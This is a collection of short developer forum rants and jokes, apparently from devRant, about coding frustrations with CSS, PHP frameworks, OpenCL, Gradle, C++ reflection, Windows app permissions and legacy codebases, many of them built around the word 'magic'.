In this enchanted land, documentation is the mystical parchment, often written in the cryptic dialect of ancient monks. "This function doeth stuff, thou knoweth what I meaneth." 📜😅
And meetings, oh the meetings! 🗣️🤯 It's like a conference of babbling brooks in the forest of Jargon. "Let us discuss the velocity of the backlog!" 🌿🐇
But amidst the chaos, we code on! Armed with our emojis and a bubbling cauldron of coffee, we persist. For we are the wizards and witches of the digital age, conjuring spells in Python and brewing potions in Java. 🐍☕
Onward, magical beings of code! 🚀 May your bugs be few, and your merges conflict-free! 🙌🎩3 -
Global variables destroyed my day
Of course you can call me a bad programmer and all. When you have the idea, sometimes globals make it seem easy, accessible and "saving resources". They are devils.
The app was connected to a suite of applications. So I ended up silently destroying it neighbors. I committed and pushed the shit. Just when the testers made their weed high smoke tests, a server stopped working.
I got an email that boss wanted the latest version, I reverted the wrong branch, which had code unrelated to its name, pushed shit again and voila.
I went to the bathroom and laughed. I had to take a smoke. I'm still laughing while typing this. The damage is too much and I can't help it. I'll go home, leave this pc on and work remotely through the night. It might be the hysterics speaking now, but I messed up, and I need magic by friday morning.6 -
Alright, buckle up, fellow developer, because we're about to embark on a thrilling journey through the world of code and creativity!
Listen up, you amazing code wizard, you're not just a developer. No, you're a digital architect, a creator of worlds in the virtual realm. You have the power to turn lines of code into living, breathing entities that can change lives and reshape industries.
In a world where everyone is a consumer, you are a producer. You build the bridges that connect our digital dreams to reality. You are a pioneer, an explorer in the vast wilderness of algorithms and frameworks. Your mind is the canvas, and code is your brushstroke.
Sure, there are challenges—bugs that refuse to be squashed, deadlines that seem impossible, and technology that evolves at warp speed. But guess what? You're not just a problem solver; you're a problem annihilator. You tackle those bugs with ferocity, you meet those deadlines with gusto, and you master that evolving technology like a maestro conducting a symphony.
You live for the 'Aha!' moments—the joy of cracking a complex problem, the thrill of seeing your creation come to life, the satisfaction of making a difference. You're a digital superhero, swooping in to save the day one line of code at a time.
And when things get tough—and they will—you dig deep. You summon that relentless determination that got you into coding in the first place. You remember why you started this journey—to innovate, to leave your mark, to change the world.
So, rise and shine, you coding genius! Embrace the challenges, learn from the failures, and celebrate the victories. You are a force to be reckoned with, a beacon of inspiration in a world that needs your brilliance.
Keep coding, keep creating, and keep being the rockstar developer that you are. The world eagerly awaits the magic you're about to unleash! Go and conquer the code-scape! 🚀💻5 -
An anti-rant: I just made some code and out of nowhere it suddenly had an awesome feature that I didn't even program. No, not a euphemism for "bug", an actual feature.
Here's the story: A few months ago I made a shortcut for "System.out.println(…)" called "print(…)". Then I developed it further to also print arrays as "[1,2,3]", lists as "{1,2,3}", work with nested arrays and lists and accept multiple arguments.
Today I wanted to expand the list printing feature, which previously only worked for ArrayLists, to all types of List. That caused a few problems, but eventually I got it to work. Then I also wanted to expand it to all instances of Collection. As a first step, I replaced the two references to "List" with "Collection" and magically, no error message. So I tested it with this code:
HashMap<Integer, String> map = new HashMap<>();
map.put(1, "1");
map.put(2, "");
map.put(3, "a");
print(map);
And magic happened! The output was:
{1=1, 2=, 3=a}
That's awesome! I didn't even think yet about how I wanted to display key-value pairs, but Java already gave me the perfect solution. Now the next puzzle is where the space after the comma comes from, because I didn't program that in either.
I feel a bit like a character in "The subtle knife", who writes a barebones program to communicate with sentient elementary particles (believe me, it makes sense in context) and suddenly there's text alignment on the left and right, without that character having programmed any alignment.4 -
I’m convinced that CSS is black magic and those that can visualize what it’s going to do before changing code are witches/warlocks.
Usually my attempts end up in humor as the website ends up /comically/ broken. Elements shifted around to not anywhere near they belong, drop downs appearing from completely nonsensical places...
No idea how you all do it.2 -
True Story
I just finished a project, it was a rewrite, the original used the zend framework about 7 years ago. It took a team of programmers (I think 4) to code the site, and it took them about a month.
Just me, and Laravel, took me 3 weeks to do the exact same thing. Ok, I didn't have to create any content, so I'll give them that, still, there wasn't much to create.
Should I be applauding my genius? Or, Laravel's magic?
I'll say... both.3 -
Good code is like a good video game. When you read it first time, it feels like magic, and you feel like it does more than it actually can.2
-
Didn't think I had material for a rant but... Oh boy (at least at the level I'm at, I'm sure worse is to come)
I'm a Java programmer, lets get that out of the way. I like Java, it feels warm and fuzzy, and I'm still a n00b so I'm allowed to not code everything in assembly or whatever.
So I saw this video about compilers and how they optimize and move and do stuff with the machine code while generating the executable files. And the guy was using this cool terminal that had color, autocomplete past commands and just looked cool. So I was like "I'll make that for my next project!"
In Java.
So I Google around and find a code snipped that gives me "raw" input (vs "cooked" input) and returns codes and I'm like 😎. Pressing "a" returns 97 (I think that's the ASCII value) and I think this is all golden now.
No point in ranting if everything goes as planned so here is the *but*
Tabs, backspaces and other codes like that returned appropriate ASCII codes in Unix. But in windows, no such thing. And since I though I'd go multiplatform (WORA amarite) now I had to do extra work so that it worked cross platform.
Then I saw arrow keys have no ASCII codes... So I pressed a arrow key and THREE SEPARATE VALUES WERE REGISTERED. Let me reiterate. Unix was pretending I had pressed three keys instead of one, for arrow keys. So on Unix, I had to work some magic to get accurate readings on what the user was actually doing (not too bad but still...). Windows actually behaved better, just spit out some high values and all was good. So two more systems I had to set up for dealing with arrow keys.
Now I got to ANSI codes (to display color, move around the terminal window and do other stuff). Unix supports them and Windows did but doesn't but does with some Win 10 patch...? But when tested it doesn't (at least from what I've seen). So now, all that work I put into making one Unix key and arrow key reader, and same for Windows, flies out the window. Windows needs a UI (I will force Win users, screw compatibility).
So after all the fiddling and messing, trying to make the bloody thing work on all systems, I now have to toss half the input system and rework it to support UI. And make a UI, which I absolutely despise (why I want to do back end work and thought this would be good, since terminal is not too front end).2 -
I really hate PHP frameworks.
I also often write my own frameworks but propriety. I have two decades experience doing without frameworks, writing frameworks and using frameworks.
Virtually every PHP framework I've ever used has causes more headaches than if I had simply written the code.
Let me give you an example. I want a tinyint in my database.
> Unknown column type "tinyint" requested.
Oh, doctrine doesn't support it and wont fix. Doctrine is a library that takes a perfectly good feature rich powerful enough database system and nerfs it to the capabilities of mysql 1.0.0 for portability and because the devs don't actually have the time to create a full ORM library. Sadly it's also the defacto for certain filthy disgusting frameworks whose name I shan't speak.
So I add my own type class. Annoying but what can you do.
I have to try to use it and to do so I have to register it in two places like this (pseudo)...
Types::add(Tinyint::class);
Doctrine::add(Tinyint::class);
Seems simply enough so I run it and see...
> Type tinyint already exists.
So I assume it's doing some magic loading it based on the directory and commend out the Type::add line to see.
> Type to be overwritten tinyint does not exist.
Are you fucking kidding me?
At this point I figure out it must be running twice. It's booting twice. Do I get a stack trace by default from a CLI command? Of course not because who would ever need that?
I take a quick look at parent::boot(). HttpKernel is the standard for Cli Commands?
I notice it has state, uses a protected booted property but I'm curious why it tries to boot so many times. I assume it's user error.
After some fiddling around I get a stack trace but only one boot. How is it possible?
It's not user error, the program flow of the framework is just sub par and it just calls boot all over the place.
I use the state variable and I have to do it in a weird way...
> $booted = $this->booted;parent::boot();if (!$booted) {doStuffOnceThatDependsOnParentBootage();}
A bit awkward but not life and death. I could probably just return but believe or not the parent is doing some crap if already booted. A common ugly practice but one that works is to usually call doSomething and have something only work around the state.
The thing is, doctrine does use TINYINT for bool and it gets all super confused now running commands like updates. It keeps trying to push changes when nothing changed. I'm building my own schema differential system for another project and it doesn't have these problems out of the box. It's not clever enough to handle ambiguous reverse mappings when single types are defined and it should be possible to match the right one or heck both are fine in this case. I'd expect ambiguity to be a problem with reverse engineer, not compare schema to an exact schema.
This is numpty country. Changing TINYINT UNSIGNED to TINYINT UNSIGNED. IT can't even compare two before and after strings.
There's a few other boots I could use but who cares. The internet seems to want to use that boot function. There's also init stages missing. Believe it or not there's a shutdown and reboot for the kernel. It might not be obvious but the Type::add line wants to go not in the boot method but in the top level scope along with the class definition. The top level scope is run only once.
I think people using OOP frameworks forget that there's a scope outside of the object in PHP. It's not ideal but does the trick given the functionality is confined to static only. The register command appears to have it's own check and noop or simply overwrite if the command is issued twice making things more confusing as it was working with register type before to merely alias a type to an existing type so that it could detect it from SQL when reverse engineering.
I start to wonder if I should just use columnDefinition.
It's this. Constantly on a daily basis using these pretentious stuck up frameworks and libraries.
It's not just the palava which in this case is relatively mild compared to some of the headaches that arise. It's that if you use a framework you expect basic things out of the box like oh I don't know support for the byte/char/tinyint/int8 type and a differential command that's able to compare two strings to see if they're different.
Some people might say you're using it wrong. There is such a thing as a learning curve and this one goes down, learning all the things it can't do. It's cripplesauce.12 -
Recently bought an Adafruit Industries board which controls stepper motors over i2c. It has a Phython library, but my code is in C++. Decided to convert the Python code to C++ to get started quickly. Behold the magic line that made everything work:
std::this_thread::sleep_for(std::chrono::milliseconds(10));
I can't believe Python's ridiculous performance is being harnessed to let the field generated by electromagnets in a stepper motor to grow to sufficient proportions to affect movement. Without the said sleep(), the stepper motor just vibrates with my C++ code. Not sure if the library was created with Python's performance in mind, or they simply didn't think about back EMF in electromagnets...5 -
Life is good when you're responsible only for your task, code you write.
While i had souch a beautiful life, I could come to wrk, make coffe, magic and be happy. Sometimes it would be fast, sometimes slow. Sometimes I had to learn before implementing, sometimes I just needed to code it down. I had working hours. I had only TL and client to deal with.
If you dislike working with your collegues, imagine being responsible for their work and feel good.1 -
During an interview, how to detect if a company has a dysfunctional flow of development? What good questions to ask?
Like things are scattered all over and there's no standard being followed, no architecture, no code reviews, everything is a patchy magic, no testing, and everything is just on fire! How to avoid such companies?6 -
"Non-technical" users must have some magic skill that goes beyond my understanding. How can anyone work with no-code page builders? I tried Wix, Webflow, Gutenberg, Elementor, Divi, and Semplice. Each one sucks in their way, but they have one thing in common: their UI behaves even more erratically than Microsoft Word.
Is there a "non-technical personal computer user" class where people learn that logic? How did they manage to hide their secret understanding from developers? Or what did I miss?8 -
I think I'm getting to the point to where I'm burnt out at my job. Don't get me wrong, it's a great place to work. But it is very, VERY boring. And I'm starting to struggle to even pay attention anymore. I know it's important but I'm struggling to care. How am I supposed to do good work when I can barely even focus? Good code is not magic! I can't be barely holding my eyes open and expected to be worth anything.
I'm also still technically a junior developer which I have some issues with >_>6 -
Was a PC repair guy. A wealthy man saw that I have potential, asked me to build a website. I started learning how to code. Frustrated, quit the job, and bummed off for weeks. Started fresh, like magic, everything seemed easier without the pressure. Freelanced for a few years, now at a media company, as an XD.3
-
Allright, so now I have to extend a brand new application, released to LIVE just weeks ago by devs at out client's company. This application is advertised as very well structured, easy to work on, µservices-based masterpiece.
Well either I lack a loooot of xp to understand the "µservices", "easy to work on" and "well structured" parts in this app or I'm really underpaid to deal with all of this...
- part of business logic is implemented in controllers. Good luck reusing it w/o bringing up all the mappings...
- magic numbers every-fucking-where... I tried adding some constants to make it at least a tiny bit more configurable... I was yelled at by the lead dev of the app for this later.
- crud-only subservices (wrapped by facade-like services, but still.. CRUD (sub)services? Then what's a repository for...?). As a result devs didn't have a place where they could write business logic. So business logic is now in: controllers (also responsible for mapping), helpers (also application layer; used by controllers; using services).
- no transactions wrapping several actions, like removing item from CURRENT table first and then recreating it in HISTORY table. No rollback/recovery mechanism in service layers if things go South.
- no clean-code. One can easily find lines (streams) 400+ cols long.
- no encapsulation. Object fields are accessed directly
- Controllers, once get result from Services (i.e. Facade), must have a tree of: if (result instanceof SomeService.SomeSubservice1.Item1) {...} else if (result instanceof SomeService.SomeSubservice2.Item4) {...} etc. to build a proper DTO. IMO this is not a way to make abstraction - application should NOT know services' internals.
- µservices use different tables (hats off for this one!) but their records must have the same IDs. E.g. if I order a burger and coke - there are 2 order items in my order #442. When I make a payment I create an invoice which must have an id #442. And I'm talking about data layer, not service or application (dto)! Shouldn't µservices be loosely coupled and be able to serve independently...? What happens if I reuse InvoiceµService in some other app?
What are your thoughts?1 -
I learned to code by trying too automate things. I started out with Windows batch and moved up to Java before I discovered the magic of C, C++, Python, and now Swift1
-
I'm not even done with this code and I am already dreading maintaining it. There is so much magic.1
-
At work I am "the" programmer and is the first time in which I actually enjoy showing different solutions to problems without having a fear of implementing large things without having any form of recognition.
Seeing someone get happy because of something you created is a great feeling and even tho most of us are misantrophic af we can still appreciate bringing happiness through code.
To me, software engineering is the closest thing to magic and I really believe that.
Two days ago I showed my manager a little utility to build small portions of the site we are building and make changes to it in real time without browser refreshes for whatever change she would like to do. She was super happy and excited and it made me feel real happy.
Such great feeling man. Nothing but good vibes brother!! -
"All the magic, be it in code or design, starts with a clear mind, pen and a blank paper." - Brian Wangila
-
"Reflective" programming...
In almost every other language:
1. obj.GetType().GetProperties()
or
for k, v in pairs(obj) do something end
or
fieldnames(typeof(obj))
or
Object.entries(obj)
2. Enjoy.
In C++: 💀
1. Use the extern keyword to trick compilers into believing some fake objects of your chosen type actually exist.
2. Use the famous C++ type loophole or structured binding to extract fields from your fake objects.
3. Figure out a way to suppress those annoying compiler warnings that were generated because of your how much of a bad practice your code is.
4. Extract type and field names from strings generated by compiler magic (__PRETTY_FUNCTION__, __FUNCSIG__) or from the extremely new feature std::source_location (people hate you because their Windows XP compilers can't handle your code)
5. Realize your code still does not work for classes that have private or protected fields.
6. Decide it's time to become a language lawyer and make OOPers angry by breaking encapsulation and stealing private fields from their classes using explicit template instantiation
7. Realize your code will never work outside of MSVC, GCC or CLANG and will always be reliant on undefined behaviors.
8. Live forever in doubt and fear that new changes to the compiler magic you abused will one day break your code.
9. SUFFER IN HELL as you start getting 5000 lines worth of template errors after switching to a new compiler.13 -
Have some downtime today, so since I lucked out and found some old backups (from before I used Git) of a project I was planning on revisiting, I decided to fire it up and see what I can do to get that going again.
And discovering just how much my coding style has changed since then...
[Code is in PHP, for reference]
* Virtually no documentation (whereas my current style is near-obsessive with PHPdoc blocks)
* Where comments exist, they only use // and are a full tab after the end of the line
* All assignment operators are dutifully aligned on tabs
* Have to update the entire codebase because it relies on deprecated `mysql_*` calls
* Have to flip all of the quotes throughout the codebase because I used double-quotes as my primary at the time instead of single quotes.
* Also relied on magic quotes for injecting variable content into strings
* Associative array practices varied; sometimes the names are encased in double quotes, but I just hit a block where it's all leaving it to the compiler to interpret unquoted string literals
And perhaps the most egregious so far...
* Any time we get database results back the process for cycling through them is to do `$count = mysql_num_rows($result);` (or $count2, etc.), then do a `for ($i = 0; $i < $count; $i++)` (again, or $j, $k, etc.), instead of just a simple `while ($data = $result->fetch_assoc())`2 -
How hard can it be to refactor this 170 lines file?
- a single “data” variable used to store everything
- arrays inside arrays inside arrays (see prev point)
- operations with a lot of obscure sideEffects
- $data[] = something (which in magic php land means $data.enqueue()
Why is such… biological matter… even allowed to code? Fucker’s pretending they are a senior for four years: how in hell didn’t they learn to code in this timeframe?7 -
I am not a php dev and I have nearly 0 knowledge of php. All I know about php is that xampp is your friend and you have to write that $ everywhere. But that one day I had to setup phpLDAPadmin on apache2.
I have nothing against php, but I just don't want to have anything in common, since I'm just perfectly fine with my java.
So I had to make it work. Fought my way through different incompatible versions of php and phpldapadmin only to see "not found" on phpldapadmin.
I thought, like, wtf?? Especially when index.php of apache2 is displaying just fine? I mean, I can "edit" some php code, but configs and php setups are just something like out of my world. Tried setuping it on different vms - same result. I've buried way too many hours into this with no result. Finally I gave up and contacted a friend of mine which is like php god for me. He did same thing as I did in ~ 10 mins, but the result was the same. Tweaked some configs - same. Scratched his head, sat for 5 more minutes, did something and boom - it works!
I've asked him, what is that php magic and the answer killed me:
"Index.html was missing"
At that moment I just wanted to exit through the window. Sadly, there were no way to open it.
Yes, I am this stupid in php. But I still miss all these wasted hours...2 -
Let me start this off by stating I'm a Java dev, and a noob with C++.
Thought it'd be cool to learn some OpenCL, since I want to do some maths stuff and why not learn something new.
So I sat down, installed Nvidia proprietary drivers, broke my x-org server, purged, reinstalled, rebooted and after a while I got stuff sorted out.
Then on to my IDE. I use CLion and it uses Cmake. C++ noob knows shit about Cmake, so struggle for two hours trying to figure out wtf is going on with the OpenCL libs and why they're only partially detected. Fml.
Finally, everything is configured and I'm set. I start working on a Hello World program using OpenCL. Finish it in 20 mins, all good. No output. Do some googling, check my program a million times. Nothing wrong here. Check the kernel, everything as in the tutorial.
I start checking error codes after a while reported by OpenCL (which I had no clue was a thing) and I get some code saying the program was not created properly (to run the kernel). No fucking clue what's up with that. Google around, find another tutorial, rewrite my code in case I'm using outdated code or something. Nothing.
Fast forward an hour, I find out that OpenCL has logs! So I grab some code from the website I found it on, and voila, I finally get some info on what's going on.
Get a load of this bs.
In the kernel file, so that OpenCL knows that it's a function to run, you have to put __kernel. But in all the places I read, it said to put it as _kernel.
Add the underscore, compile, run and everything is perfect.
Then I tried just putting 'kernel'. Also compiles and runs fine.
Two hours hours and my program was fixed by adding an underscore. IF ONLY C++ GAVE AN INDICATION OF WHAT BLEW UP INSTEAD OF SITTING BACK AND BEING LIKE "oh wow man feels bad, work some magic and try again" THEN THIS WOULD NOT HAVE TAKEN SO LONG.
Then again, it was OpenCL that was being shitty with its styling enforcement or whatever the hell the underscore business is. But screw it. C++ eats shit too for this. Sure, maybe Java babies you by giving you the exact error and position that the error took place at. But at least that way you don't waste hours of your life chasing invisible bugs 😠😠
I'm going to eat some food... Too much energy was consumed fighting the system... Then I'll get back to OpenCL because 😇 but that doesn't make it less bs.1 -
Today I had to spend the whole day fixing a stupid bug in a legacy application in a completely different tech stack than I'm used to...
At my company we have an Internet application running where we can upload a word document and using some mailmerge variables magic, can set those vars and receive the personalised word doc back...
Now this is great, when it's working, and is used in various projects we have up and running... Suddenly the application decides to crap out for no apparent reason and guess who drew the short straw....
Anyhow I ask our sys admin for the password to the server, I remote desktop to it, turns out its a fucking Windows 2008 server...
But wait it gets better, the application, a shoddy mess of c# code, is not under any sort of version control, has to be developed on that same server and to top it all of, I have to follow some obscure barely documented deployment precedure to get my changes live....
So after a lot of cursing on the dev (not working at the company any more) who did the original setup, and hours of painstakingly piecing together how it works and what went wrong and how to fix it, I finally managed to get it working....
After this rant, I'm mailing my technical lead about this in the hopes we can get someone to do it right (yes, I'm that naive)1 -
Me being lazy, I wasn't able to end any learning series. Tried again with Java using YouTube videos. Feel asleep after 30 minutes, but the entire series kept running in the background.
After waking up I could understand great part of object based coding.
I seriously think that thanks to that now I know how to code. Like magic.1 -
Got a chance to work again on a Spring project after a few years of working with JavaSE.
All these horrible memories started rushing back. SpringJPA and its dark magic that only works unintuitively and under very certain conditions...
Ooooh boi. Now I remember. I remember it all.
Why do developers enjoy being squeezed into frameworks and enjoy spending half of a day figuring out how to make the application code compatible with the said framework rather than just writing code that they have full control over...? Masochists much?9 -
A whole week for "a new ecommerce system" delivered shortly after the MD declare how simple it would be with some hybrid pseudo code/flow chart on their magic whiteboard.
Words were had. -
So as a student developer with years of background in web development (including both front and backend), c++, java and c#, I was more than surprised when I found out my Informatics assignment hadnt received the proper excellent mark. In fact both me and a friend of mine who has been working with C++ in particular for years got a --mark.
// The assignment was the most simple Windows Forms Application with 2 buttons and a textbox
When we asked about that the teacher said we hadn't labeled the buttons and textboxes, though we had actually taken our time to put labels next to each UI element that would need usage directions.
Though what she meant was renaming the actual variable names, those being textBox1, button1 and button2.
We of course got really mad, because w both follow the accepted naming conventions for each of the languages we write in. Arguing was to no avail. Even telling her that variable naming was not in the assignment instructions was pointless as she said it had been self explanatory..
The others for whom computers are powered by magic, did their assignments as they had memorized everything that teacher had shown them. Why? Because she didn't teach them how to code in the first place. So they copied what would work.
Fucked up educational system, sadly nothing new..
Oh and btw, the naming she uses and teaches students to use is:
button1 - btname
label1- lbname
textBox1 - tbyear2 -
Got accepted as a part-time FE developer in a well-known company.
Reality check: all I do is maintain a horribly formatted spaghetti code (20k+ lines in a file) using ancient tech like PL/SQL, prototypeJS and IE11.
Buy hey, at least I know some SQL magic now.. Right?!7 -
When a client facing consultant asks when your project will be finished by like you should have had it done already when it's complex as hell1
-
Before I went to school I was copying game code from book to atari computer cause it was faster than waiting for game to load from tape recorder ( especially when people are walking around on wood floor and you have constant read errors).
I probably wrote some magic spell that cursed me on my lifetime cause this shitty programming happened to chase me everywhere I go.
Damn you software you’re everywhere I go, why you’re haunting me all the time. It’s hard to find some quiet place without you watching.
So remember kids don’t write code you don’t understand cause it may fuck your life. -
<!doctype confusedRant 😕>
Plot: we need to release our website in two weeks which holds at least a thousand pages. All these pages are manually migrated from the old website, which doesn't have a database. Current status: 650 pages/1000 are completed, 40 different templates need to be adapted. I'm alone on these templates, my colleagues create the pages and fill the new database
So I'm working on the templates a WebDev coded for our website on a licensed CMS, and had this decently simple html block that looks like a square and consisting of roughly this (Emmet style):
a.area > blockquote > strong.title + p
After adding another <a> element inside the p, I noticed that my <a> wouldn't display and bust the whole look of the square.
Just for more details, the CSS the dev made is ultra specified (meaning each element is too precisely "described" : div.class .child .child2 { /* styles */ } when it could be .class .child2 for example). Also, the templates he made need to be compatible with any "module" the website has, thus the need of this high specificity
So I fired up the DevTools to check what happened, and had:
Expected: a.area > blockquote > strong.title + p > a
Actual result: some new a.area were wrapping the <strong>, the <p> and the <a> I just added. The source code was not showing any of this but just the rules I initially wrote - the expected result
Wtf?! I thought the JS the dev made was adding elements. I disabled said JS, and bam, these a.area were still wrapping everything!! What black magic would add these stupid tags I never asked for.
So I went looking in the CSS files in case some wizardry was happening, but everything was OK.
I tried changing my structure, changing tag (swapping a.area to p.area or without .area), HTML just said "nope, have those please".
Eventually I rewrote my own module out of frustration after three quarters of an hour fiddling with this stupid "module". I hate losing time for such shenanigans and under a lot of pressure because of deadlines.
Still haven't figured why those <element>.area would wrap everything out of nowhere...3 -
I fucking hate web development and fuckton of issues it has. Laravel library not found despite the files exists and composer loaded it in the autoloader, fix: create a config file for the lib, why? Because magic. The code cannot find the provider class without it....
Next, try out smtp mail. Works everywhere, but not with the live smtp server. Fails with Invalid recipients error. 2 hours later, with half of my hair torn out I finally figured out. Can you guess?
Credentials and settings are correct, recipients are also correct. The fucking from address parameter was the culprit because you cannot send emails on behalf another address, logical but fuck that error message. Why is it that hard to respond with an understandable response?2 -
Another terrible rant from the inhereted Hydra source code. So deep in the dark dungeon of that code I noticed something interesting. They declare this INT32 array with an incredibly long (like 200 values) list of hard coded magic numbers. Something along the lines of:
INT32 array[200] = {-1,0,1,21,4,7,19,33...};
However, the resulting output was incorrect. After spending a fort night and a good chunk of my remaining sanity I had overcone the 437 levels of indirection left by the previous programmers, and narrowed it down to this line. But it looked perfectly fine.
I pull up the diffs and notice someone had checked in a change to the source. I track it to this line and find what the original data had been.
INT32 array[200] = {-1,0,1,2l,4,7,19,33...};
In VS the default font shows l and 1 as fucking identical. Someone had accidentally made that change to 21 from the original 2l and checked it in. I mean I can't really blame them. Who the fucking hell inatantiates a fucking int32 array and peppers in a fucking 2l (long) for no fucking reason?! -
I know that DI(dependency injection) is probably just another good pattern out there like many others, but dear lord have I been burned on it with acumatica. Acumatica just loves having friggen magic crap everywhere with no damn explanation(*may be in a blog post somewhere but that’s no replacement for good documentation).
I believe they use AutoFac in C# on an asp.net server. They love to utilize reflection and injection and in turn the server takes multiple minutes to startup whilst it dynamically registers everything, as well on any individual pages.
Development is a pain in the ass on this damn system.
I’m constantly having to dive into the damn code using dotpeek to understand what the fuck they are doing and it’s often friggen stupid shit. They like to reinvent the wheel a fair bit.1 -
I. Hate. Windows. Apps. UGH.
I may never be able to play FS2020 from the Xbox Game Pass again as... Its unable to install, gives a helpful 0x1 error code, and the help page link goes to a 404.
Now, I caused this myself... Partially... Er, no, fully, but I had a good reason!
I wanted to install something larger again and didn't have enough disk space. Fired up WinDirStat and there was a huge, like... 45 GB file in C:\Program Files\WindowsApps\Somedir\
Googling around, I found some people saying its a temp file so that Windows Store could reserve enough space for the app instalation... Okay, so... It got stuck, and I had no way to remove it?
Of course I didn't want to remove all apps of the windows market... So, I did something any *sane* person would never do - Took ownership of the whole WindowsApps and gave myself full control. Then I removed the file and... FS2020 never launched again.
I couldn't even uninstall it! It would give me no error either. It just lagged and then did nothing.
I tried resetting all the ACLs, tried giving ownership back to TrustedInstaller, nothing worked. Failed on some of the files, wtf?
Launching the game only ever told me there was an update in progress.
Tried booting a windows iso image and fix the ACLs from there, nope, also failed for the same bunch of files of FS2020. (Permission Denied while on a live image? Wow)
Last resort, I booted up Linux and tried removing the offending folders from there, only to find out that... Huh. The NTFS module labelled the offending folders as... broken links leading to an "unsupported reparse point". But hey, it let me remove it at least.
Since then, it no longer appeared as installed, but... Now, anytime I want to install it, it just throws an error 0x00000001 with no further details.
So yeah, I know I caused this myself, but after fiddling with the permissions and ACLs and NTFS dark magic, I feel justified in saying - Fuck you WindowsApps DRM.4 -
No, friends and family, just because I code doesn't mean I'm a software engineer, or "in IT" and no, websites don't resize themselves to fit mobile devices with fekin magic, that's what we do as web devs, we MAKE that magic
-
You should write comments in your code, and in case of Perl you must write comments in your code.
I've done some DNS zone editing stuff using Perl's magic around 4 years ago and now I have no fucking idea what's going on in there. It's on production DNS server since then, no problems so far... -
WTF?
Just found this code:
"It is assumed that all 'static final String'-Attributes of this class are a key in the property file (which is validated by reflection)."
SO REFACTORING YOUR FUCKING MAGIC NUMBERS WITH A MEANINGFUL CONSTANT MADE THE APP CRASH. ASSHOLE. -
It's a good intention if you want to separate your code in logical units and split it into multiple methods, but could you please stop handing the control flow through about 20 methods before even really starting with the actual logic? This mess is 10 times as long as it needs to be, because someone decided to make everything go through 10 "validate one little thing" methods for every method with actual logic!
Edit: DevRant didn't allow me to post first, now I've analysed the code a bit more and the control flow actually goes out of a specialised class into a generalised class and back (not by returning, but by calling the specialised class from the general one) and the parameter that says what specialised class to call gets written into a class variable, then read from there and passed as a method argument, then back into another class variable, then the code changes it up a bit as a local variable, then passses it as a method parameter again... First it seemed like it knew what class to call using black magic, but no, it actually just hid the fact really well that it did in fact pass the class reference through in multiple forms from beginning to end. -
Sometimes my hatred for code is so.. overwhelming that I think I need a sabbatical or should even stop altogether.
Let's face it. All code sucks. Just on different levels.
Want to go all bare metal? Love low level bit fiddling. Well, have fun searching for concurrency, memory corruption bugs. Still feel confident? Get ulcers from large C/C++ code base already in production, where something in the shared memory, function pointer magic is not totally right?
So you strive for more clean abstractions, fancy the high level stuff? Well, can you make sense of gcc's template error messages, are you ready for the monad, leaving behind the mundane everyday programmers, who still wonders about the scope of x and xs?
Wherever you go. Isn't it a stinking shit pile of entropy, arbitrary human made conventions? You're just getting more familiar with them, so you don't question them, they become your second skin, you become proficient - congrats you're a member of the 1337.7 -
gradle is infuriating.
firstly there are so limited resources to understand how it's building a java/android code. everything happens by magic and hit+trial
secondly the plugins and the tasks works in mysterious ways. sometime they work when applied in the project root's gradle file, other times they work when applied in module's gradle file, nd other times they need configuration at both levels.
then there are gradle tasks like build ,test, assemble , clean etc. these are less of an action and more of an alias to run a bundle of actions.
then we have 3rd party plugins which attach themselves to these "fat-actions" and run before/after them
and finally we have the fuckup from the java world where the only available code coverage plugin is jacoco and IT FUCKING SUCKS!!! it is a test environment plugin, it should impact test tasks , but somehow it's fucking with the assemble taskin such a manner, that the jars ans aar files generated via plugin are giving runtime errrors. yes , runtime! as if we are back in the messed up js world of "everything is good unless running live"
even if it was a compile time eeror, i would have considered. but runtime?!! fucking runtime error?! i barely understand this shit, there is absolutely no info available as to which classes are being used to create a build and how, and i am supposed to fix this? wtf?!4 -
First and foremost, students should be carefully taught the logic and mentality behind programming. Most of the time I see that the introductory programming courses waste so much energy in teaching the language itself. So students kinda just get fucked cause many people end up ending the course without having actually gained the "programming perspective".
Stop teaching pointers and lambdas and even leave the object oriented stiff till later. If a student doesn't know why we use a For loop then how can they learn anything else.
I believe once that thing in your brain clicks about programming, everything goes smooth from there... kinda :P
Second of all, and this pertains mainly to the engineering and science disciplines.
We need a fundamental and strong mathematical foundation. And no I don't mean taking fucking double integrals. Teach us Linear Algebra, Graph theory, the properties of matrices, and Probability theory.
One of the things I suffered from most and regret in university is having a weak foundation in math and having to spend more time catching myself up to speed.
It's so annoying reading a paper on a new algorithm or method and feeling like an idiot because I can't understand what magic these people did.
Numerical Methods...
Ok this is more deeper, maybe a 2nd year course.
But this is something we take for granted.
Computers don't magically add and subtract and multiply.
They fuck up.
And it'll bite you in the ass if you're not even aware that the computer we all love so much isn't as perfect as we think
Some hardware knowledge.
Probably a basic embedded systems course with arduinos
just so you can get a feel for how our beautiful software actually makes those electrons go weeeeeeeee
And finally
Practice practice
Projects projects
like honestly
just give me the internet and some projects
Ill learn everything else
Projects are the best motivation
I hate this purely theoretical approach
where we memorize or read code and write these stupid exams
Test what we are capable off
make us do projects that take sleepless nights and litres of coffee
And judge our methods, documentation, team work, and output
Team work skills and tools (VCS, communicating, project management, etc.)
Documentation and Reporting
Properly
:)
maybe even with LaTeX :D
Yeah that's the gist of whats on my mind at the moment regarding an ideal computer science education
At least the foundations
The rest I leave it to the next dude. -
We use MDD!! I coined this term one night after getting frustrated and having a lot of drinks. What's that, you ask?
MAGIC DRIVEN DEVELOPMENT
It's when you're working on a not-so-recent code base and are afraid to make any changes in fear of breaking things up. You've touched some modules, and now you restrict yourself to work only on those treating all others as a blackbox. Even if something can be achieved by a small change in one of the blackboxes, you still go for multiple changes in the modules you're familiar with! Such is the horror. You start saying that those modules work by some dark magic that nobody understands! -
Am I in developer hell already? A shitty project is about to come to an end (hopefully), or should I rather say: It needs to come to an end. But I am still quite lost in how to deal with it, hence procrastinating on it - making the deadline come closer and with it the realization that I'll probably have to rewrite almost everything. I'm not sure how, but I do know that the current code is a dumpster fire.
Basically what I need to do is dealing with the APIs of different payment providers/gateways (like PayPal, AmazonPay). For most cases I'll get a payment ID from the shop and need to act on it later, e.g. capture the authorized money in the case of a credit card transaction or do refunds (without user interaction, unless there is an error). Now at first I put something together where I try to abstract the payment information into two tables:
orders{1}<->{0..n}payments
payments{1}<->{1..n}paymentDetails
